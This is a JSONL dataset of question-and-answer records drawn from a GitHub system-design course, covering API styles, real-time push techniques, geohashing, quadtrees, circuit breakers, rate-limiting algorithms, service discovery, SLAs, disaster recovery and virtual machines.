{"id": "gh_d4eaa3618ba1", "question": "How to: When to use this pattern?", "question_body": "About karanpratapsingh/system-design", "answer": "We should consider using a Backend For Frontend (BFF) pattern when:\n\n- A shared or general purpose backend service must be maintained with significant development overhead.\n- We want to optimize the backend for the requirements of a specific client.\n- Customizations are made to a general-purpose backend to accommodate multiple interfaces.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598235"}
{"id": "gh_66ef08e13c84", "question": "How to: REST, GraphQL, gRPC", "question_body": "About karanpratapsingh/system-design", "answer": "A good API design is always a crucial part of any system. But it is also important to pick the right API technology. So, in this tutorial, we will briefly discuss different API technologies such as REST, GraphQL, and gRPC.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598240"}
{"id": "gh_e37e0991a65a", "question": "How to: What's an API?", "question_body": "About karanpratapsingh/system-design", "answer": "Before we even get into API technologies, let's first understand what is an API.\n\nAPI stands for Application Programming Interface. It is a set of definitions and protocols for building and integrating application software. It's sometimes referred to as a contract between an information provider and an information user establishing the content required from the producer and the content required by the consumer.\n\nIn other words, if you want to interact with a computer or system to retrieve information or perform a function, an API helps you communicate what you want to that system so it can understand and complete the request.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598245"}
{"id": "gh_a4283cca2406", "question": "How to: REST vs GraphQL vs gRPC", "question_body": "About karanpratapsingh/system-design", "answer": "Now that we know how these API designing techniques work, let's compare them based on the following parameters:\n\n- Will it cause tight coupling?\n- How _chatty_ (distinct API calls to get needed information) are the APIs?\n- What's the performance like?\n- How complex is it to integrate?\n- How well does the caching work?\n- Built-in tooling and code generation?\n- What's API discoverability like?\n- How easy is it to version APIs?\n\n| Type    | Coupling | Chattiness | Performance | Complexity | Caching | Codegen | Discoverability | Versioning |\n| ------- | -------- | ---------- | ----------- | ---------- | ------- | ------- | --------------- | ---------- |\n| REST    | Low      | High       | Good        | Medium     | Great   | Bad     | Good            | Easy       |\n| GraphQL | Medium   | Low        | Good        | High       | Custom  | Good    | Good            | Custom     |\n| gRPC    | High     | Medium     | Great       | Low        | Custom  | Great   | Bad             | Hard       |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598291"}
{"id": "gh_a3647941077b", "question": "How to: Which API technology is better?", "question_body": "About karanpratapsingh/system-design", "answer": "Well, the answer is none of them. There is no silver bullet as each of these technologies has its own advantages and disadvantages. Users only care about using our APIs in a consistent way, so make sure to focus on your domain and requirements when designing your API.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598296"}
{"id": "gh_a3bab1b1eaad", "question": "How to: Long polling, WebSockets, Server-Sent Events (SSE)", "question_body": "About karanpratapsingh/system-design", "answer": "Web applications were initially developed around a client-server model, where the web client is always the initiator of transactions like requesting data from the server. Thus, there was no mechanism for the server to independently send, or push, data to the client without the client first making a request. Let's discuss some approaches to overcome this problem.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598303"}
{"id": "gh_40cb70807f61", "question": "How to: Long polling", "question_body": "About karanpratapsingh/system-design", "answer": "HTTP Long polling is a technique used to push information to a client as soon as possible from the server. As a result, the server does not have to wait for the client to send a request.\n\nIn Long polling, the server does not close the connection once it receives a request from the client. Instead, the server responds only if any new message is available or a timeout threshold is reached.\n\n![long-polling](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/long-polling-websockets-server-sent-events/long-polling.png)\n\nOnce the client receives a response, it immediately sends a new request to the server to have a new pending connection to send data to the client, and the operation is repeated. With this approach, the server emulates a real-time server push feature.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598308"}
{"id": "gh_2804241b4085", "question": "How to: WebSockets", "question_body": "About karanpratapsingh/system-design", "answer": "WebSocket provides full-duplex communication channels over a single TCP connection. It is a persistent connection between a client and a server that both parties can use to start sending data at any time.\n\nThe client establishes a WebSocket connection through a process known as the WebSocket handshake. If the process succeeds, then the server and client can exchange data in both directions at any time. The WebSocket protocol enables the communication between a client and a server with lower overheads, facilitating real-time data transfer from and to the server.\n\n![websockets](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/long-polling-websockets-server-sent-events/websockets.png)\n\nThis is made possible by providing a standardized way for the server to send content to the client without being asked and allowing for messages to be passed back and forth while keeping the connection open.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598323"}
{"id": "gh_ef2704031001", "question": "How to: Server-Sent Events (SSE)", "question_body": "About karanpratapsingh/system-design", "answer": "Server-Sent Events (SSE) is a way of establishing long-term communication between client and server that enables the server to proactively push data to the client.\n\n![server-sent-events](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-III/long-polling-websockets-server-sent-events/server-sent-events.png)\n\nIt is unidirectional, meaning once the client sends the request it can only receive the responses without the ability to send new requests over the same connection.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598338"}
{"id": "gh_e6ea4c65926d", "question": "How to: Geohashing", "question_body": "About karanpratapsingh/system-design", "answer": "Geohashing is a [geocoding](https://en.wikipedia.org/wiki/Address_geocoding) method used to encode geographic coordinates such as latitude and longitude into short alphanumeric strings. It was created by [Gustavo Niemeyer](https://twitter.com/gniemeyer) in 2008.\n\nFor example, San Francisco with coordinates `37.7564, -122.4016` can be represented in geohash as `9q8yy9mf`.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598351"}
{"id": "gh_df8d003168c9", "question": "How to: How does Geohashing work?", "question_body": "About karanpratapsingh/system-design", "answer": "Geohash is a hierarchical spatial index that uses Base-32 alphabet encoding, the first character in a geohash identifies the initial location as one of the 32 cells. This cell will also contain 32 cells. This means that to represent a point, the world is recursively divided into smaller and smaller cells with each additional bit until the desired precision is attained. The precision factor also determines the size of the cell.\n\n![geohashing](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/geohashing-and-quadtrees/geohashing.png)\n\nGeohashing guarantees that points are spatially closer if their Geohashes share a longer prefix which means the more characters in the string, the more precise the location. For example, geohashes `9q8yy9mf` and `9q8yy9vx` are spatially closer as they share the prefix `9q8yy9`.\n\nGeohashing can also be used to provide a degree of anonymity as we don't need to expose the exact location of the user because depending on the length of the geohash we just know they are somewhere within an area.\n\nThe cell sizes of the geohashes of different lengths are as follows:\n\n| Geohash length | Cell width | Cell height |\n| -------------- | ---------- | ----------- |\n| 1              | 5000 km    | 5000 km     |\n| 2              | 1250 km    | 1250 km     |\n| 3              | 156 km     | 156 km      |\n| 4              | 39.1 km    | 19.5 km     |\n| 5              | 4.89 km    | 4.89 km     |\n| 6              | 1.22 km    | 0.61 km     |\n| 7              | 153 m      | 153 m       |\n| 8              | 38.2 m     | 19.1 m      |\n| 9              | 4.77 m     | 4.77 m      |\n| 10             | 1.19 m     | 0.596 m     |\n| 11             | 149 mm     | 149 mm      |\n| 12             | 37.2 mm    | 18.6 mm     |", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 39971, "answer_score": 10, "has_code": true, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598362"}
{"id": "gh_d0d6c8bfa888", "question": "How to: Types of Quadtrees", "question_body": "About karanpratapsingh/system-design", "answer": "Quadtrees may be classified according to the type of data they represent, including areas, points, lines, and curves. The following are common types of quadtrees:\n\n- Point quadtrees\n- Point-region (PR) quadtrees\n- Polygonal map (PM) quadtrees\n- Compressed quadtrees\n- Edge quadtrees", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598372"}
{"id": "gh_f1508d6f30b3", "question": "How to: Why do we need Quadtrees?", "question_body": "About karanpratapsingh/system-design", "answer": "Aren't latitudes and longitudes enough? Why do we need quadtrees? While in theory using latitude and longitude we can determine things such as how close points are to each other using [euclidean distance](https://en.wikipedia.org/wiki/Euclidean_distance), for practical use cases it is simply not scalable because of its CPU-intensive nature with large data sets.\n\n![quadtree-subdivision](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/geohashing-and-quadtrees/quadtree-subdivision.png)\n\nQuadtrees enable us to search points within a two-dimensional range efficiently, where those points are defined as latitude/longitude coordinates or as cartesian (x, y) coordinates. Additionally, we can save further computation by only subdividing a node after a certain threshold. And with the application of mapping algorithms such as the [Hilbert curve](https://en.wikipedia.org/wiki/Hilbert_curve), we can easily improve range query performance.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598378"}
{"id": "gh_a10f58de8e14", "question": "How to: Circuit breaker", "question_body": "About karanpratapsingh/system-design", "answer": "The circuit breaker is a design pattern used to detect failures and encapsulates the logic of preventing a failure from constantly recurring during maintenance, temporary external system failure, or unexpected system difficulties.\n\n![circuit-breaker](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/circuit-breaker/circuit-breaker.png)\n\nThe basic idea behind the circuit breaker is very simple. We wrap a protected function call in a circuit breaker object, which monitors for failures. Once the failures reach a certain threshold, the circuit breaker trips, and all further calls to the circuit breaker return with an error, without the protected call being made at all. Usually, we'll also want some kind of monitor alert if the circuit breaker trips.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598384"}
{"id": "gh_b43447f76d3a", "question": "How to: Why do we need circuit breaking?", "question_body": "About karanpratapsingh/system-design", "answer": "It's common for software systems to make remote calls to software running in different processes, probably on different machines across a network. One of the big differences between in-memory calls and remote calls is that remote calls can fail, or hang without a response until some timeout limit is reached. What's worse is if we have many callers on an unresponsive supplier, then we can run out of critical resources leading to cascading failures across multiple systems.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598389"}
{"id": "gh_f4fcca865fd5", "question": "How to: Rate Limiting", "question_body": "About karanpratapsingh/system-design", "answer": "Rate limiting refers to preventing the frequency of an operation from exceeding a defined limit. In large-scale systems, rate limiting is commonly used to protect underlying services and resources. Rate limiting is generally used as a defensive mechanism in distributed systems, so that shared resources can maintain availability. It also protects our APIs from unintended or malicious overuse by limiting the number of requests that can reach our API in a given period of time.\n\n![rate-limiting](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/rate-limiting/rate-limiting.png)", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598395"}
{"id": "gh_f0d983c22309", "question": "How to: Why do we need Rate Limiting?", "question_body": "About karanpratapsingh/system-design", "answer": "Rate limiting is a very important part of any large-scale system and it can be used to accomplish the following:\n\n- Avoid resource starvation as a result of Denial of Service (DoS) attacks.\n- Rate Limiting helps in controlling operational costs by putting a virtual cap on the auto-scaling of resources which if not monitored might lead to exponential bills.\n- Rate limiting can be used as defense or mitigation against some common attacks.\n- For APIs that process massive amounts of data, rate limiting can be used to control the flow of that data.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598401"}
{"id": "gh_0679a5b1537d", "question": "How to: Algorithms", "question_body": "About karanpratapsingh/system-design", "answer": "There are various algorithms for API rate limiting, each with its advantages and disadvantages. Let's briefly discuss some of these algorithms:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598405"}
{"id": "gh_fe0704a1d489", "question": "How to: Leaky Bucket", "question_body": "About karanpratapsingh/system-design", "answer": "Leaky Bucket is an algorithm that provides a simple, intuitive approach to rate limiting via a queue. When registering a request, the system appends it to the end of the queue. Processing for the first item on the queue occurs at a regular interval or first-in, first-out (FIFO). If the queue is full, then additional requests are discarded (or leaked).", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598409"}
{"id": "gh_a3bd93b0cf16", "question": "How to: Token Bucket", "question_body": "About karanpratapsingh/system-design", "answer": "Here we use a concept of a _bucket_. When a request comes in, a token from the bucket must be taken and processed. The request will be refused if no token is available in the bucket, and the requester will have to try again later. As a result, the token bucket gets refreshed after a certain time period.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598414"}
{"id": "gh_e1c223624b55", "question": "How to: Fixed Window", "question_body": "About karanpratapsingh/system-design", "answer": "The system uses a window size of `n` seconds to track the fixed window algorithm rate. Each incoming request increments the counter for the window. It discards the request if the counter exceeds a threshold.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598418"}
{"id": "gh_4b3eb87397bc", "question": "How to: Sliding Log", "question_body": "About karanpratapsingh/system-design", "answer": "Sliding Log rate-limiting involves tracking a time-stamped log for each request. The system stores these logs in a time-sorted hash set or table. It also discards logs with timestamps beyond a threshold. When a new request comes in, we calculate the sum of logs to determine the request rate. If the request would exceed the threshold rate, then it is held.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598422"}
{"id": "gh_41aefa8bdcba", "question": "How to: Sliding Window", "question_body": "About karanpratapsingh/system-design", "answer": "Sliding Window is a hybrid approach that combines the fixed window algorithm's low processing cost and the sliding log's improved boundary conditions. Like the fixed window algorithm, we track a counter for each fixed window. Next, we account for a weighted value of the previous window's request rate based on the current timestamp to smooth out bursts of traffic.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598427"}
{"id": "gh_69cca97473f3", "question": "How to: Rate Limiting in Distributed Systems", "question_body": "About karanpratapsingh/system-design", "answer": "Rate Limiting becomes complicated when distributed systems are involved. The two broad problems that come with rate limiting in distributed systems are:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598435"}
{"id": "gh_370c1ff0dcad", "question": "How to: Inconsistencies", "question_body": "About karanpratapsingh/system-design", "answer": "When using a cluster of multiple nodes, we might need to enforce a global rate limit policy. Because if each node were to track its rate limit, a consumer could exceed a global rate limit when sending requests to different nodes. The greater the number of nodes, the more likely the user will exceed the global limit.\n\nThe simplest way to solve this problem is to use sticky sessions in our load balancers so that each consumer gets sent to exactly one node but this causes a lack of fault tolerance and scaling problems. Another approach might be to use a centralized data store like [Redis](https://redis.io) but this will increase latency and cause race conditions.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598441"}
{"id": "gh_c443524571c7", "question": "How to: Race Conditions", "question_body": "About karanpratapsingh/system-design", "answer": "This issue happens when we use a naive _\"get-then-set\"_ approach, in which we retrieve the current rate limit counter, increment it, and then push it back to the datastore. This model's problem is that additional requests can come through in the time it takes to perform a full cycle of read-increment-store, each attempting to store the increment counter with an invalid (lower) counter value. This allows a consumer to send a very large number of requests to bypass the rate limiting controls.\n\nOne way to avoid this problem is to use some sort of distributed locking mechanism around the key, preventing any other processes from accessing or writing to the counter. Though the lock will become a significant bottleneck and will not scale well. A better approach might be to use a _\"set-then-get\"_ approach, allowing us to quickly increment and check counter values without letting the atomic operations get in the way.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598446"}
{"id": "gh_0c92219bb781", "question": "How to: Service Discovery", "question_body": "About karanpratapsingh/system-design", "answer": "Service discovery is the detection of services within a computer network. Service Discovery Protocol (SDP) is a networking standard that accomplishes the detection of networks by identifying resources.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598451"}
{"id": "gh_7c28a4f79b99", "question": "How to: Why do we need Service Discovery?", "question_body": "About karanpratapsingh/system-design", "answer": "In a monolithic application, services invoke one another through language-level methods or procedure calls. However, modern microservices-based applications typically run in virtualized or containerized environments where the number of instances of a service and their locations change dynamically. Consequently, we need a mechanism that enables the clients of service to make requests to a dynamically changing set of ephemeral service instances.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598455"}
{"id": "gh_d43b00f490cf", "question": "How to: Client-side discovery", "question_body": "About karanpratapsingh/system-design", "answer": "![client-side-service-discovery](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/service-discovery/client-side-service-discovery.png)\n\nIn this approach, the client obtains the location of another service by querying a service registry which is responsible for managing and storing the network locations of all the services.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598462"}
{"id": "gh_3d6848a71007", "question": "How to: Server-side discovery", "question_body": "About karanpratapsingh/system-design", "answer": "![server-side-service-discovery](https://raw.githubusercontent.com/karanpratapsingh/portfolio/master/public/static/courses/system-design/chapter-IV/service-discovery/server-side-service-discovery.png)\n\nIn this approach, we use an intermediate component such as a load balancer. The client makes a request to the service via a load balancer which then forwards the request to an available service instance.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598469"}
{"id": "gh_bfa6bd8b717c", "question": "How to: Service Registry", "question_body": "About karanpratapsingh/system-design", "answer": "A service registry is basically a database containing the network locations of service instances to which the clients can reach out. A Service Registry must be highly available and up-to-date.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598473"}
{"id": "gh_3f33802c7add", "question": "How to: Service Registration", "question_body": "About karanpratapsingh/system-design", "answer": "We also need a way to obtain service information, often known as service registration. Let's look at two possible service registration approaches:", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598477"}
{"id": "gh_ff1372db2d44", "question": "How to: Self-Registration", "question_body": "About karanpratapsingh/system-design", "answer": "When using the self-registration model, a service instance is responsible for registering and de-registering itself in the Service Registry. In addition, if necessary, a service instance sends heartbeat requests to keep its registration alive.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598482"}
{"id": "gh_4dc725b95992", "question": "How to: Third-party Registration", "question_body": "About karanpratapsingh/system-design", "answer": "The registry keeps track of changes to running instances by polling the deployment environment or subscribing to events. When it detects a newly available service instance, it records it in its database. The Service Registry also de-registers terminated service instances.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598487"}
{"id": "gh_5aff5e512378", "question": "How to: Service mesh", "question_body": "About karanpratapsingh/system-design", "answer": "Service-to-service communication is essential in a distributed application but routing this communication, both within and across application clusters, becomes increasingly complex as the number of services grows. Service mesh enables managed, observable, and secure communication between individual services. It works with a service discovery protocol to detect services. [Istio](https://istio.io/latest/about/service-mesh) and [envoy](https://www.envoyproxy.io) are some of the most commonly used service mesh technologies.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598493"}
{"id": "gh_9fa59196135b", "question": "How to: SLA, SLO, SLI", "question_body": "About karanpratapsingh/system-design", "answer": "Let's briefly discuss SLA, SLO, and SLI. These are mostly related to the business and site reliability side of things but good to know nonetheless.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598498"}
{"id": "gh_4c433e1b82ff", "question": "How to: Why are they important?", "question_body": "About karanpratapsingh/system-design", "answer": "SLAs, SLOs, and SLIs allow companies to define, track and monitor the promises made for a service to its users. Together, SLAs, SLOs, and SLIs should help teams generate more user trust in their services with an added emphasis on continuous improvement to incident management and response processes.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598502"}
{"id": "gh_96c2d02578bb", "question": "How to: Disaster recovery", "question_body": "About karanpratapsingh/system-design", "answer": "Disaster recovery (DR) is a process of regaining access and functionality of the infrastructure after events like a natural disaster, cyber attack, or even business disruptions.\n\nDisaster recovery relies upon the replication of data and computer processing in an off-premises location not affected by the disaster. When servers go down because of a disaster, a business needs to recover lost data from a second location where the data is backed up. Ideally, an organization can transfer its computer processing to that remote location as well in order to continue operations.\n\n_Disaster Recovery is often not actively discussed during system design interviews but it's important to have some basic understanding of this topic. You can learn more about disaster recovery from [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/reliability-pillar/plan-for-disaster-recovery-dr.html)._", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598509"}
{"id": "gh_0f1fc58a5bda", "question": "How to: Why is disaster recovery important?", "question_body": "About karanpratapsingh/system-design", "answer": "Disaster recovery can have the following benefits:\n\n- Minimize interruption and downtime\n- Limit damages\n- Fast restoration\n- Better customer retention", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598513"}
{"id": "gh_9eb1dcd89f5c", "question": "How to: Strategies", "question_body": "About karanpratapsingh/system-design", "answer": "A variety of disaster recovery (DR) strategies can be part of a disaster recovery plan.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598518"}
{"id": "gh_fa3e4e5712cc", "question": "How to: Virtual Machines (VMs) and Containers", "question_body": "About karanpratapsingh/system-design", "answer": "Before we discuss virtualization vs containerization, let's learn what are virtual machines (VMs) and Containers.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598523"}
{"id": "gh_d480697572b4", "question": "How to: Virtual Machines (VM)", "question_body": "About karanpratapsingh/system-design", "answer": "A Virtual Machine (VM) is a virtual environment that functions as a virtual computer system with its own CPU, memory, network interface, and storage, created on a physical hardware system. A software called a hypervisor separates the machine's resources from the hardware and provisions them appropriately so they can be used by the VM.\n\nVMs are isolated from the rest of the system, and multiple VMs can exist on a single piece of hardware, like a server. They can be moved between host servers depending on the demand or to use resources more efficiently.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598528"}
{"id": "gh_f081e2cf9360", "question": "How to: What is a Hypervisor?", "question_body": "About karanpratapsingh/system-design", "answer": "A Hypervisor sometimes called a Virtual Machine Monitor (VMM), isolates the operating system and resources from the virtual machines and enables the creation and management of those VMs. The hypervisor treats resources like CPU, memory, and storage as a pool of resources that can be easily reallocated between existing guests or new virtual machines.", "tags": ["karanpratapsingh"], "source": "github_gists", "category": "karanpratapsingh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 39971, "answer_score": 10, "has_code": false, "url": "https://github.com/karanpratapsingh/system-design", "collected_at": "2026-01-16T23:30:37.598532"}
